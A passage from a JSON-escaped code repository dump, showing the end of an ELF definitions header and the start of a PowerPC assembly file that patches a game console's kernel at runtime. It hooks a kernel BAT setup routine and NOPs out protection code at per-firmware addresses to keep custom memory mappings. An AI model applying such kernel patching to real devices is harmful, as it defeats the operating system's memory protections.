EM_ME16\t\t59\t\t/* Toyota ME16 processor */\n#define EM_ST100\t60\t\t/* STMicroelectronic ST100 processor */\n#define EM_TINYJ\t61\t\t/* Advanced Logic Corp. Tinyj emb.fam*/\n#define EM_X86_64\t62\t\t/* AMD x86-64 */\n#define EM_PDSP\t\t63\t\t/* Sony DSP Processor */\n/* RESERVED 64,65 for future use */\n#define EM_FX66\t\t66\t\t/* Siemens FX66 microcontroller */\n#define EM_ST9PLUS\t67\t\t/* STMicroelectronics ST9+ 8/16 mc */\n#define EM_ST7\t\t68\t\t/* STmicroelectronics ST7 8 bit mc */\n#define EM_68HC16\t69\t\t/* Motorola MC68HC16 microcontroller */\n#define EM_68HC11\t70\t\t/* Motorola MC68HC11 microcontroller */\n#define EM_68HC08\t71\t\t/* Motorola MC68HC08 microcontroller */\n#define EM_68HC05\t72\t\t/* Motorola MC68HC05 microcontroller */\n#define EM_SVX\t\t73\t\t/* Silicon Graphics SVx */\n#define EM_ST19\t\t74\t\t/* STMicroelectronics ST19 8 bit mc */\n#define EM_VAX\t\t75\t\t/* Digital VAX */\n#define EM_CHRIS\t76\t\t/* Axis Communications embedded proc. */\n#define EM_JAVELIN\t77\t\t/* Infineon Technologies emb. proc. */\n#define EM_FIREPATH\t78\t\t/* Element 14 64-bit DSP Processor */\n#define EM_ZSP\t\t79\t\t/* LSI Logic 16-bit DSP Processor */\n#define EM_MMIX\t\t80\t\t/* Donald Knuth's edu 64-bit proc. */\n#define EM_HUANY\t81\t\t/* Harvard University mach-indep objs */\n#define EM_PRISM\t82\t\t/* SiTera Prism */\n#define EM_AVR\t\t83\t\t/* Atmel AVR 8-bit microcontroller */\n#define EM_FR30\t\t84\t\t/* Fujitsu FR30 */\n#define EM_D10V\t\t85\t\t/* Mitsubishi DV10V */\n#define EM_D30V\t\t86\t\t/* Mitsubishi DV30V */\n#define EM_V850\t\t87\t\t/* NEC v850 */\n#define EM_M32R\t\t88\t\t/* Mitsubishi M32R */\n#define EM_MN10300\t89\t\t/* Matsushita MN10200 */\n#define EM_MN10200\t90\t\t/* Matsushita MN10200 */\n#define EM_PJ\t\t91\t\t/* picoJava */\n#define EM_NUM\t\t92\t\t/* number of machine types */\n\n/* Version */\n#define EV_NONE\t\t0\t\t/* Invalid */\n#define EV_CURRENT\t1\t\t/* Current */\n#define EV_NUM\t\t2\t\t/* number of versions */\n\n/* Section Header */\ntypedef struct {\n\tElf32_Word\tsh_name;\t/* name - index into section header\n\t\t\t\t\t   string table section */\n\tElf32_Word\tsh_type;\t/* type */\n\tElf32_Word\tsh_flags;\t/* flags */\n\tElf32_Addr\tsh_addr;\t/* address */\n\tElf32_Off\tsh_offset;\t/* file offset */\n\tElf32_Word\tsh_size;\t/* section size */\n\tElf32_Word\tsh_link;\t/* section header table index link */\n\tElf32_Word\tsh_info;\t/* extra information */\n\tElf32_Word\tsh_addralign;\t/* address alignment */\n\tElf32_Word\tsh_entsize;\t/* section entry size */\n} Elf32_Shdr;\n\n/* Special Section Indexes */\n#define SHN_UNDEF\t0\t\t/* undefined */\n#define SHN_LORESERVE\t0xff00\t\t/* lower bounds of reserved indexes */\n#define SHN_LOPROC\t0xff00\t\t/* reserved range for processor */\n#define SHN_HIPROC\t0xff1f\t\t/*   specific section indexes */\n#define SHN_LOOS\t0xff20\t\t/* reserved range for operating */\n#define SHN_HIOS\t0xff3f\t\t/*   specific semantics */\n#define SHN_ABS\t\t0xfff1\t\t/* absolute value */\n#define SHN_COMMON\t0xfff2\t\t/* common symbol */\n#define SHN_XINDEX\t0xffff\t\t/* Index is an extra table */\n#define SHN_HIRESERVE\t0xffff\t\t/* upper bounds of reserved indexes */\n\n/* sh_type */\n#define SHT_NULL\t0\t\t/* inactive */\n#define SHT_PROGBITS\t1\t\t/* program defined information */\n#define SHT_SYMTAB\t2\t\t/* symbol table section */\n#define SHT_STRTAB\t3\t\t/* string table section */\n#define SHT_RELA\t4\t\t/* relocation section with addends*/\n#define SHT_HASH\t5\t\t/* symbol hash table section */\n#define SHT_DYNAMIC\t6\t\t/* dynamic section */\n#define SHT_NOTE\t7\t\t/* note section */\n#define SHT_NOBITS\t8\t\t/* no space section */\n#define SHT_REL\t\t9\t\t/* relation section without addends */\n#define SHT_SHLIB\t10\t\t/* reserved - purpose unknown */\n#define SHT_DYNSYM\t11\t\t/* dynamic symbol table section */\n#define SHT_INIT_ARRAY\t14\t\t/* Array of constructors */\n#define SHT_FINI_ARRAY\t15\t\t/* Array of destructors */\n#define SHT_PREINIT_ARRAY 16\t\t/* Array of pre-constructors */\n#define SHT_GROUP\t17\t\t/* Section group */\n#define SHT_SYMTAB_SHNDX 18\t\t/* Extended section indeces */\n#define SHT_NUM\t\t19\t\t/* number of section types */\n#define SHT_LOOS\t0x60000000\t/* Start OS-specific */\n#define SHT_HIOS\t0x6fffffff\t/* End OS-specific */\n#define SHT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define SHT_HIPROC\t0x7fffffff\t/*  specific section header types */\n#define SHT_LOUSER\t0x80000000\t/* reserved range for application */\n#define SHT_HIUSER\t0xffffffff\t/*  specific indexes */\n\n/* Section names */\n#define ELF_BSS         \".bss\"\t\t/* uninitialized data */\n#define ELF_COMMENT\t\".comment\"\t/* version control information */\n#define ELF_DATA        \".data\"\t\t/* initialized data */\n#define ELF_DATA1       \".data1\"\t/* initialized data */\n#define ELF_DEBUG       \".debug\"\t/* debug */\n#define ELF_DYNAMIC     \".dynamic\"\t/* dynamic linking information */\n#define ELF_DYNSTR      \".dynstr\"\t/* dynamic string table */\n#define ELF_DYNSYM      \".dynsym\"\t/* dynamic symbol table */\n#define ELF_FINI        \".fini\"\t\t/* termination code */\n#define ELF_FINI_ARRAY\t\".fini_array\"\t/* Array of destructors */\n#define ELF_GOT         \".got\"\t\t/* global offset table */\n#define ELF_HASH        \".hash\"\t\t/* symbol hash table */\n#define ELF_INIT        \".init\"\t\t/* initialization code */\n#define ELF_INIT_ARRAY\t\".init_array\"\t/* Array of constuctors */\n#define ELF_INTERP\t\".interp\"\t/* Pathname of program interpreter */\n#define ELF_LINE\t\".line\"\t\t/* Symbolic line numnber information */\n#define ELF_NOTE\t\".note\"\t\t/* Contains note section */\n#define ELF_PLT\t\t\".plt\"\t\t/* Procedure linkage table */\n#define ELF_PREINIT_ARRAY \".preinit_array\" /* Array of pre-constructors */\n#define ELF_REL_DATA    \".rel.data\"\t/* relocation data */\n#define ELF_REL_FINI    \".rel.fini\"\t/* relocation termination code */\n#define ELF_REL_INIT    \".rel.init\"\t/* relocation initialization code */\n#define ELF_REL_DYN     \".rel.dyn\"\t/* relocaltion dynamic link info */\n#define ELF_REL_RODATA  \".rel.rodata\"\t/* relocation read-only data */\n#define ELF_REL_TEXT    \".rel.text\"\t/* relocation code */\n#define ELF_RODATA      \".rodata\"\t/* read-only data */\n#define ELF_RODATA1     \".rodata1\"\t/* read-only data */\n#define ELF_SHSTRTAB    \".shstrtab\"\t/* section header string table */\n#define ELF_STRTAB      \".strtab\"\t/* string table */\n#define ELF_SYMTAB      \".symtab\"\t/* symbol table */\n#define ELF_SYMTAB_SHNDX \".symtab_shndx\"/* symbol table section index */\n#define ELF_TBSS\t\".tbss\"\t\t/* thread local uninit data */\n#define ELF_TDATA\t\".tdata\"\t/* thread local init data */\n#define ELF_TDATA1\t\".tdata1\"\t/* thread local init data */\n#define ELF_TEXT        \".text\"\t\t/* code */\n\n/* Section Attribute Flags - sh_flags */\n#define SHF_WRITE\t0x1\t\t/* Writable */\n#define SHF_ALLOC\t0x2\t\t/* occupies memory */\n#define SHF_EXECINSTR\t0x4\t\t/* executable */\n#define SHF_MERGE\t0x10\t\t/* Might be merged */\n#define SHF_STRINGS\t0x20\t\t/* Contains NULL terminated strings */\n#define SHF_INFO_LINK\t0x40\t\t/* sh_info contains SHT index */\n#define SHF_LINK_ORDER\t0x80\t\t/* Preserve order after combining*/\n#define SHF_OS_NONCONFORMING 0x100\t/* Non-standard OS specific handling */\n#define SHF_GROUP\t0x200\t\t/* Member of section group */\n#define SHF_TLS\t\t0x400\t\t/* Thread local storage */\n#define SHF_MASKOS\t0x0ff00000\t/* OS specific */\n#define SHF_MASKPROC\t0xf0000000\t/* reserved bits for processor */\n\t\t\t\t\t/*  specific section attributes */\n\n/* Section Group Flags */\n#define GRP_COMDAT\t0x1\t\t/* COMDAT group */\n#define GRP_MASKOS\t0x0ff00000\t/* Mask OS specific flags */\n#define GRP_MASKPROC\t0xf0000000\t/* Mask processor specific flags */\n\n/* Symbol Table Entry */\ntypedef struct elf32_sym {\n\tElf32_Word\tst_name;\t/* name - index into string table */\n\tElf32_Addr\tst_value;\t/* symbol value */\n\tElf32_Word\tst_size;\t/* symbol size */\n\tunsigned char\tst_info;\t/* type and binding */\n\tunsigned char\tst_other;\t/* 0 - no defined meaning */\n\tElf32_Half\tst_shndx;\t/* section header index */\n} Elf32_Sym;\n\n/* Symbol table index */\n#define STN_UNDEF\t0\t\t/* undefined */\n\n/* Extract symbol info - st_info */\n#define ELF32_ST_BIND(x)\t((x) >> 4)\n#define ELF32_ST_TYPE(x)\t(((unsigned int) x) & 0xf)\n#define ELF32_ST_INFO(b,t)\t(((b) << 4) + ((t) & 0xf))\n#define ELF32_ST_VISIBILITY(x)\t((x) & 0x3)\n\n/* Symbol Binding - ELF32_ST_BIND - st_info */\n#define STB_LOCAL\t0\t\t/* Local symbol */\n#define STB_GLOBAL\t1\t\t/* Global symbol */\n#define STB_WEAK\t2\t\t/* like global - lower precedence */\n#define STB_NUM\t\t3\t\t/* number of symbol bindings */\n#define STB_LOOS\t10\t\t/* reserved range for operating */\n#define STB_HIOS\t12\t\t/*   system specific symbol bindings */\n#define STB_LOPROC\t13\t\t/* reserved range for processor */\n#define STB_HIPROC\t15\t\t/*  specific symbol bindings */\n\n/* Symbol type - ELF32_ST_TYPE - st_info */\n#define STT_NOTYPE\t0\t\t/* not specified */\n#define STT_OBJECT\t1\t\t/* data object */\n#define STT_FUNC\t2\t\t/* function */\n#define STT_SECTION\t3\t\t/* section */\n#define STT_FILE\t4\t\t/* file */\n#define STT_NUM\t\t5\t\t/* number of symbol types */\n#define STT_TLS\t\t6\t\t/* Thread local storage symbol */\n#define STT_LOOS\t10\t\t/* reserved range for operating */\n#define STT_HIOS\t12\t\t/*  system specific symbol types */\n#define STT_LOPROC\t13\t\t/* reserved range for processor */\n#define STT_HIPROC\t15\t\t/*  specific symbol types */\n\n/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */\n#define STV_DEFAULT\t0\t\t/* Normal visibility rules */\n#define STV_INTERNAL\t1\t\t/* Processor specific hidden class */\n#define STV_HIDDEN\t2\t\t/* Symbol unavailable in other mods */\n#define STV_PROTECTED\t3\t\t/* Not preemptible, not exported */\n\n\n/* Relocation entry with implicit addend */\ntypedef struct\n{\n\tElf32_Addr\tr_offset;\t/* offset of relocation */\n\tElf32_Word\tr_info;\t\t/* symbol table index and type */\n} Elf32_Rel;\n\n/* Relocation entry with explicit addend */\ntypedef struct\n{\n\tElf32_Addr\tr_offset;\t/* offset of relocation */\n\tElf32_Word\tr_info;\t\t/* symbol table index and type */\n\tElf32_Sword\tr_addend;\n} Elf32_Rela;\n\n/* Extract relocation info - r_info */\n#define ELF32_R_SYM(i)\t\t((i) >> 8)\n#define ELF32_R_TYPE(i)\t\t((unsigned char) (i))\n#define ELF32_R_INFO(s,t) \t(((s) << 8) + (unsigned char)(t))\n\n/* Program Header */\ntypedef struct {\n\tElf32_Word\tp_type;\t\t/* segment type */\n\tElf32_Off\tp_offset;\t/* segment offset */\n\tElf32_Addr\tp_vaddr;\t/* virtual address of segment */\n\tElf32_Addr\tp_paddr;\t/* physical address - ignored? */\n\tElf32_Word\tp_filesz;\t/* number of bytes in file for seg. */\n\tElf32_Word\tp_memsz;\t/* number of bytes in mem. for seg. */\n\tElf32_Word\tp_flags;\t/* flags */\n\tElf32_Word\tp_align;\t/* memory alignment */\n} Elf32_Phdr;\n\n/* Segment types - p_type */\n#define PT_NULL\t\t0\t\t/* unused */\n#define PT_LOAD\t\t1\t\t/* loadable segment */\n#define PT_DYNAMIC\t2\t\t/* dynamic linking section */\n#define PT_INTERP\t3\t\t/* the RTLD */\n#define PT_NOTE\t\t4\t\t/* auxiliary information */\n#define PT_SHLIB\t5\t\t/* reserved - purpose undefined */\n#define PT_PHDR\t\t6\t\t/* program header */\n#define PT_TLS\t\t7\t\t/* Thread local storage template */\n#define PT_NUM\t\t8\t\t/* Number of segment types */\n#define PT_LOOS\t\t0x60000000\t/* reserved range for operating */\n#define PT_HIOS\t\t0x6fffffff\t/*   system specific segment types */\n#define PT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define PT_HIPROC\t0x7fffffff\t/*  specific segment types */\n\n/* Segment flags - p_flags */\n#define PF_X\t\t0x1\t\t/* Executable */\n#define PF_W\t\t0x2\t\t/* Writable */\n#define PF_R\t\t0x4\t\t/* Readable */\n#define PF_MASKOS\t0x0ff00000\t/* OS specific segment flags */\n#define PF_MASKPROC\t0xf0000000\t/* reserved bits for processor */\n\t\t\t\t\t/*  specific segment flags */\n/* Dynamic structure */\ntypedef struct\n{\n\tElf32_Sword\td_tag;\t\t/* controls meaning of d_val */\n\tunion\n\t{\n\t\tElf32_Word\td_val;\t/* Multiple meanings - see d_tag */\n\t\tElf32_Addr\td_ptr;\t/* program virtual address */\n\t} d_un;\n} Elf32_Dyn;\n\nextern Elf32_Dyn\t_DYNAMIC[];\n\n/* Dynamic Array Tags - d_tag */\n#define DT_NULL\t\t0\t\t/* marks end of _DYNAMIC array */\n#define DT_NEEDED\t1\t\t/* string table offset of needed lib */\n#define DT_PLTRELSZ\t2\t\t/* size of relocation entries in PLT */\n#define DT_PLTGOT\t3\t\t/* address PLT/GOT */\n#define DT_HASH\t\t4\t\t/* address of symbol hash table */\n#define DT_STRTAB\t5\t\t/* address of string table */\n#define DT_SYMTAB\t6\t\t/* address of symbol table */\n#define DT_RELA\t\t7\t\t/* address of relocation table */\n#define DT_RELASZ\t8\t\t/* size of relocation table */\n#define DT_RELAENT\t9\t\t/* size of relocation entry */\n#define DT_STRSZ\t10\t\t/* size of string table */\n#define DT_SYMENT\t11\t\t/* size of symbol table entry */\n#define DT_INIT\t\t12\t\t/* address of initialization func. */\n#define DT_FINI\t\t13\t\t/* address of termination function */\n#define DT_SONAME\t14\t\t/* string table offset of shared obj */\n#define DT_RPATH\t15\t\t/* string table offset of library\n\t\t\t\t\t   search path */\n#define DT_SYMBOLIC\t16\t\t/* start sym search in shared obj. */\n#define DT_REL\t\t17\t\t/* address of rel. tbl. w addends */\n#define DT_RELSZ\t18\t\t/* size of DT_REL relocation table */\n#define DT_RELENT\t19\t\t/* size of DT_REL relocation entry */\n#define DT_PLTREL\t20\t\t/* PLT referenced relocation entry */\n#define DT_DEBUG\t21\t\t/* bugger */\n#define DT_TEXTREL\t22\t\t/* Allow rel. mod. to unwritable seg */\n#define DT_JMPREL\t23\t\t/* add. of PLT's relocation entries */\n#define DT_BIND_NOW\t24\t\t/* Process relocations of object */\n#define DT_INIT_ARRAY\t25\t\t/* Array with addresses of init fct */\n#define DT_FINI_ARRAY\t26\t\t/* Array with addresses of fini fct */\n#define DT_INIT_ARRAYSZ\t27\t\t/* Size in bytes of DT_INIT_ARRAY */\n#define DT_FINI_ARRAYSZ\t28\t\t/* Size in bytes of DT_FINI_ARRAY */\n#define DT_RUNPATH\t29\t\t/* Library search path */\n#define DT_FLAGS\t30\t\t/* Flags for the object being loaded */\n#define DT_ENCODING\t32\t\t/* Start of encoded range */\n#define DT_PREINIT_ARRAY 32\t\t/* Array with addresses of preinit fct*/\n#define DT_PREINIT_ARRAYSZ 33\t\t/* size in bytes of DT_PREINIT_ARRAY */\n#define DT_NUM\t\t34\t\t/* Number used. */\n#define DT_LOOS\t\t0x60000000\t/* reserved range for OS */\n#define DT_HIOS\t\t0x6fffffff\t/*   specific dynamic array tags */\n#define DT_LOPROC\t0x70000000\t/* reserved range for processor */\n#define DT_HIPROC\t0x7fffffff\t/*  specific dynamic array tags */\n\n/* Dynamic Tag Flags - d_un.d_val */\n#define DF_ORIGIN\t0x01\t\t/* Object may use DF_ORIGIN */\n#define DF_SYMBOLIC\t0x02\t\t/* Symbol resolutions starts here */\n#define DF_TEXTREL\t0x04\t\t/* Object contains text relocations */\n#define DF_BIND_NOW\t0x08\t\t/* No lazy binding for this object */\n#define DF_STATIC_TLS\t0x10\t\t/* Static thread local storage */\n\n/* Standard ELF hashing function */\nunsigned long elf_hash(const unsigned char *name);\n\n#define ELF_TARG_VER\t1\t/* The ver for which this code is intended */\n\n/*\n * XXX - PowerPC defines really don't belong in here,\n * but we'll put them in for simplicity.\n */\n\n/* Values for Elf32/64_Ehdr.e_flags.  */\n#define EF_PPC_EMB              0x80000000      /* PowerPC embedded flag */\n\n/* Cygnus local bits below */\n#define EF_PPC_RELOCATABLE      0x00010000      /* PowerPC -mrelocatable flag*/\n#define EF_PPC_RELOCATABLE_LIB  0x00008000      /* PowerPC -mrelocatable-lib\n                                                   flag */\n\n/* PowerPC relocations defined by the ABIs */\n#define R_PPC_NONE              0\n#define R_PPC_ADDR32            1       /* 32bit absolute address */\n#define R_PPC_ADDR24            2       /* 26bit address, 2 bits ignored.  */\n#define R_PPC_ADDR16            3       /* 16bit absolute address */\n#define R_PPC_ADDR16_LO         4       /* lower 16bit of absolute address */\n#define R_PPC_ADDR16_HI         5       /* high 16bit of absolute address */\n#define R_PPC_ADDR16_HA         6       /* adjusted high 16bit */\n#define R_PPC_ADDR14            7       /* 16bit address, 2 bits ignored */\n#define R_PPC_ADDR14_BRTAKEN    8\n#define R_PPC_ADDR14_BRNTAKEN   9\n#define R_PPC_REL24             10      /* PC relative 26 bit */\n#define R_PPC_REL14             11      /* PC relative 16 bit */\n#define R_PPC_REL14_BRTAKEN     12\n#define R_PPC_REL14_BRNTAKEN    13\n#define R_PPC_GOT16             14\n#define R_PPC_GOT16_LO          15\n#define R_PPC_GOT16_HI          16\n#define R_PPC_GOT16_HA          17\n#define R_PPC_PLTREL24          18\n#define R_PPC_COPY              19\n#define R_PPC_GLOB_DAT          20\n#define R_PPC_JMP_SLOT          21\n#define R_PPC_RELATIVE          22\n#define R_PPC_LOCAL24PC         23\n#define R_PPC_UADDR32           24\n#define R_PPC_UADDR16           25\n#define R_PPC_REL32             26\n#define R_PPC_PLT32             27\n#define R_PPC_PLTREL32          28\n#define R_PPC_PLT16_LO          29\n#define R_PPC_PLT16_HI          30\n#define R_PPC_PLT16_HA          31\n#define R_PPC_SDAREL16          32\n#define R_PPC_SECTOFF           33\n#define R_PPC_SECTOFF_LO        34\n#define R_PPC_SECTOFF_HI        35\n#define R_PPC_SECTOFF_HA        36\n/* Keep this the last entry.  */\n#define R_PPC_NUM               37\n\n/* The remaining relocs are from the Embedded ELF ABI, and are not\n   in the SVR4 ELF ABI.  */\n#define R_PPC_EMB_NADDR32       101\n#define R_PPC_EMB_NADDR16       102\n#define R_PPC_EMB_NADDR16_LO    103\n#define R_PPC_EMB_NADDR16_HI    104\n#define R_PPC_EMB_NADDR16_HA    105\n#define R_PPC_EMB_SDAI16        106\n#define R_PPC_EMB_SDA2I16       107\n#define R_PPC_EMB_SDA2REL       108\n#define R_PPC_EMB_SDA21         109     /* 16 bit offset in SDA */\n#define R_PPC_EMB_MRKREF        110\n#define R_PPC_EMB_RELSEC16      111\n#define R_PPC_EMB_RELST_LO      112\n#define R_PPC_EMB_RELST_HI      113\n#define R_PPC_EMB_RELST_HA      114\n#define R_PPC_EMB_BIT_FLD       115\n#define R_PPC_EMB_RELSDA        116     /* 16 bit relative offset in SDA */\n\n/* Diab tool relocations.  */\n#define R_PPC_DIAB_SDA21_LO     180     /* like EMB_SDA21, but lower 16 bit */\n#define R_PPC_DIAB_SDA21_HI     181     /* like EMB_SDA21, but high 16 bit */\n#define R_PPC_DIAB_SDA21_HA     182     /* like EMB_SDA21, adjusted high 16 */\n#define R_PPC_DIAB_RELSDA_LO    183     /* like EMB_RELSDA, but lower 16 bit */\n#define R_PPC_DIAB_RELSDA_HI    184     /* like EMB_RELSDA, but high 16 bit */\n#define R_PPC_DIAB_RELSDA_HA    185     /* like EMB_RELSDA, adjusted high 16 */\n\n/* This is a phony reloc to handle any old fashioned TOC16 references\n   that may still be in object files.  */\n#define R_PPC_TOC16             255\n\n#endif /* _ELF_H */\n"
  },
  {
    "path": "installer/kernel_patches.S",
    "content": "#if (VER == 550)\n    #define BAT_SETUP_HOOK_ADDR         0xFFF1D624\n    # not all of those NOP address are required for every firmware\n    # mainly these should stop the kernel from removing our IBAT4 and DBAT5\n    #define BAT_SET_NOP_ADDR_1          0xFFF06B6C\n    #define BAT_SET_NOP_ADDR_2          0xFFF06BF8\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF1D70C\n    #define BAT_SET_NOP_ADDR_6          0xFFF1D728\n    #define BAT_SET_NOP_ADDR_7          0xFFF1D82C\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE11C4\n    #define BAT_SET_NOP_ADDR_9          0xFFEE11C8\n\n#elif ((VER == 532) || (VER == 540))\n    #define BAT_SETUP_HOOK_ADDR         0xFFF1D638\n\n    # not all of those NOP address are required for every firmware\n    # mainly these should stop the kernel from removing our IBAT4 and DBAT5\n    #define BAT_SET_NOP_ADDR_1          0xFFF06A14\n    #define BAT_SET_NOP_ADDR_2          0xFFF06AA0\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF1D720\n    #define BAT_SET_NOP_ADDR_6          0xFFF1D73C\n    #define BAT_SET_NOP_ADDR_7          0xFFF1D840\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE10B8\n    #define BAT_SET_NOP_ADDR_9          0xFFEE10BC\n\n#elif ((VER == 500) || (VER == 510))\n    #define BAT_SETUP_HOOK_ADDR         0xFFF1D518\n\n    #define BAT_SET_NOP_ADDR_1          0xFFF0697C\n    #define BAT_SET_NOP_ADDR_2          0xFFF06A08\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF1D600\n    #define BAT_SET_NOP_ADDR_6          0xFFF1D61C\n    #define BAT_SET_NOP_ADDR_7          0xFFF1D720\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE10B8\n    #define BAT_SET_NOP_ADDR_9          0xFFEE10BC\n#elif VER == 410\n    #define BAT_SETUP_HOOK_ADDR         0xFFF1AD00\n\n    #define BAT_SET_NOP_ADDR_1          0xFFF06708\n    #define BAT_SET_NOP_ADDR_2          0xFFF06794\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF1ADE8\n    #define BAT_SET_NOP_ADDR_6          0xFFF1AE04\n    #define BAT_SET_NOP_ADDR_7          0xFFF1AF08\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE10B8\n    #define BAT_SET_NOP_ADDR_9          0xFFEE10BC\n#elif VER == 400\n    #define BAT_SETUP_HOOK_ADDR         0xFFF1A440\n\n    #define BAT_SET_NOP_ADDR_1          0xFFF066FC\n    #define BAT_SET_NOP_ADDR_2          0xFFF06788\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF1A528\n    #define BAT_SET_NOP_ADDR_6          0xFFF1A544\n    //define BAT_SET_NOP_ADDR_7          not present in 400\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE0F50\n    #define BAT_SET_NOP_ADDR_9          0xFFEE0F54\n#elif (VER == 310)\n    #define BAT_SETUP_HOOK_ADDR         0xFFF19EC4\n\n    #define BAT_SET_NOP_ADDR_1          0xFFF06590\n    #define BAT_SET_NOP_ADDR_2          0xFFF0661C\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF19FAC\n    #define BAT_SET_NOP_ADDR_6          0xFFF19FC8\n//  #define BAT_SET_NOP_ADDR_7          not present in 3.1.0\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE0FB0\n    #define BAT_SET_NOP_ADDR_9          0xFFEE0FB4\n#elif (VER == 300)\n    #define BAT_SETUP_HOOK_ADDR         0xFFF19E2C\n\n    #define BAT_SET_NOP_ADDR_1          0xFFF06590\n    #define BAT_SET_NOP_ADDR_2          0xFFF0661C\n    #define BAT_SET_NOP_ADDR_3          0xFFF003C8\n    #define BAT_SET_NOP_ADDR_4          0xFFF003CC\n    #define BAT_SET_NOP_ADDR_5          0xFFF19F14\n    #define BAT_SET_NOP_ADDR_6          0xFFF19F30\n//  #define BAT_SET_NOP_ADDR_7          not present in 3.0.x\n\n    #define BAT_SET_NOP_ADDR_8          0xFFEE0DB8\n    #define BAT_SET_NOP_ADDR_9          0xFFEE0DBC\n#else\n    #error Please define valid values for kernel setup.\n#endif\n\n#ifdef USE_SD_LOADER\n    #define BAT_SETUP_HOOK_ENTRY        0x00800000\n#else\n    #define BAT_SETUP_HOOK_ENTRY        (0x00800000 + 0x2000)\n#endif\n\n#define BAT4U_VAL                       0x008000FF\n#if VER >= 410\n    #define BAT4L_VAL                   0x30800012\n#elif VER <= 400\n    #define BAT4L_VAL                   0x4E800012\n#else\n    #error Please define valid value for firmware setup.\n#endif\n\n#define SET_R4_TO_ADDR(addr)        \\\n    lis r3, addr@h              ;   \\\n    ori r3, r3, addr@l          ;   \\\n    stw r4, 0(r3)               ;   \\\n    dcbf 0, r3                  ;   \\\n    icbi 0, r3                  ;\n\n     .globl SC_0x25_KernelCopyData\nSC_0x25_KernelCopyData:\n    li r0, 0x2500\n    sc\n    blr\n\n     .globl Syscall_0x36\nSyscall_0x36:\n    li r0, 0x3600\n    sc\n    blr\n\n    .globl KernelPatches\nKernelPatches:\n    # store the old DBAT0\n    mfdbatu r5, 0\n    mfdbatl r6, 0\n\n    # memory barrier\n    eieio\n    isync\n\n    # setup DBAT0 for access to kernel code memory\n    lis r3, 0xFFF0\n    ori r3, r3, 0x0002\n    mtdbatu 0, r3\n    lis r3, 0xFFF0\n    ori r3, r3, 0x0032\n    mtdbatl 0, r3\n\n    # memory barrier\n    eieio\n    isync\n\n    # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though\n    # just chosen because its simple\n    lis r3, BAT_SETUP_HOOK_ADDR@h\n    ori r3, r3, BAT_SETUP_HOOK_ADDR@l\n\n    # make the kernel setup our section in IBAT4 and\n    # jump to our function to restore the replaced instructions\n    lis r4, 0x3ce0      \t\t\t\t#   lis r7, BAT4L_VAL@h\n    ori r4, r4, BAT4L_VAL@h\n    stw r4, 0x00(r3)\n    lis r4, 0x60e7      \t\t\t\t#   ori r7, r7, BAT4L_VAL@l\n    ori r4, r4, BAT4L_VAL@l\n    stw r4, 0x04(r3)\n    lis r4, 0x7cf1      \t\t\t\t#   mtspr 561, r7\n    ori r4, r4, 0x8ba6\n    stw r4, 0x08(r3)\n    lis r4, 0x3ce0      \t\t\t\t#   lis r7, BAT4U_VAL@h\n    ori r4, r4, BAT4U_VAL@h\n    stw r4, 0x0C(r3)\n    lis r4, 0x60e7      \t\t\t\t#   ori r7, r7, BAT4U_VAL@l\n    ori r4, r4, BAT4U_VAL@l\n    stw r4, 0x10(r3)\n    lis r4, 0x7cf0      \t\t\t\t#   mtspr 560, r7\n    ori r4, r4, 0x8ba6\n    stw r4, 0x14(r3)\n    lis r4, 0x7c00      \t\t\t\t#   eieio\n    ori r4, r4, 0x06ac\n    stw r4, 0x18(r3)\n    lis r4, 0x4c00      \t\t\t\t#   isync\n    ori r4, r4, 0x012c\n    stw r4, 0x1C(r3)\n    lis r4, 0x7ce8     \t\t\t\t    #   mflr r7\n    ori r4, r4, 0x02a6\n    stw r4, 0x20(r3)\n    lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h      #   bla BAT_SETUP_HOOK_ENTRY\n    ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l\n    stw r4, 0x24(r3)\n\n    # flush and invalidate the replaced instructions\n    lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h\n    ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l\n    dcbf 0, r3\n    icbi 0, r3\n    lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h\n    ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l\n    dcbf 0, r3\n    icbi 0, r3\n    sync\n\n    # setup IBAT4 for core 1 at this position (not really required but wont hurt)\n    # IBATL 4\n    lis r3, BAT4L_VAL@h\n    ori r3, r3, BAT4L_VAL@l\n    mtspr 561, r3\n\n    # IBATU 4\n    lis r3, BAT4U_VAL@h\n    ori r3, r3, BAT4U_VAL@l\n    mtspr 560, r3\n\n    # memory barrier\n    eieio\n    isync\n\n    # write \"nop\" to some positions\n    lis r4, 0x6000\n    # nop on IBATU 4 and DBAT 5 set/reset\n#ifdef BAT_SET_NOP_ADDR_1\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)\n#endif\n#ifdef BAT_SET_NOP_ADDR_2\n    SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)\n#endif\n#ifdef BAT_SET_NOP_ADDR_3\n    